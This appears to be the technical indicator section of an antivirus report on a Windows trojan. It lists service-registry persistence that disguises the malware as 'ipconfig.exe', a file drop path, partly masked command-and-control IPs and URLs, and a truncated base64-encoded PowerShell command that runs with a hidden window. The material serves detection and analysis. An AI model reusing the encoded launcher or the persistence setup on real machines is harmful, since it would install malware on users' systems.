Technical Information
- [<HKLM>\System\CurrentControlSet\Services\ipconfig] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ipconfig] 'ImagePath' = '"%WINDIR%\SysWOW64\rtm\ipconfig.exe"'
- 'ipconfig' "%WINDIR%\SysWOW64\rtm\ipconfig.exe"
- 'ipconfig' %WINDIR%\SysWOW64\rtm\ipconfig.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe
- %WINDIR%\syswow64\rtm\ipconfig.exe
- from %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe to %WINDIR%\syswow64\rtm\ipconfig.exe
- '50.##1.220.50':80
- http://nn##tv.com/newsletter/hDT/
- http://50.##1.220.50/SSatNts3oaYvTvUOom/MtdD/g0nT7/Y3xr0iVS90orhjm4/EG51PZr5E/
- DNS ASK nn##tv.com
- '%HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe'
- '%WINDIR%\syswow64\rtm\ipconfig.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...' (with hidden window)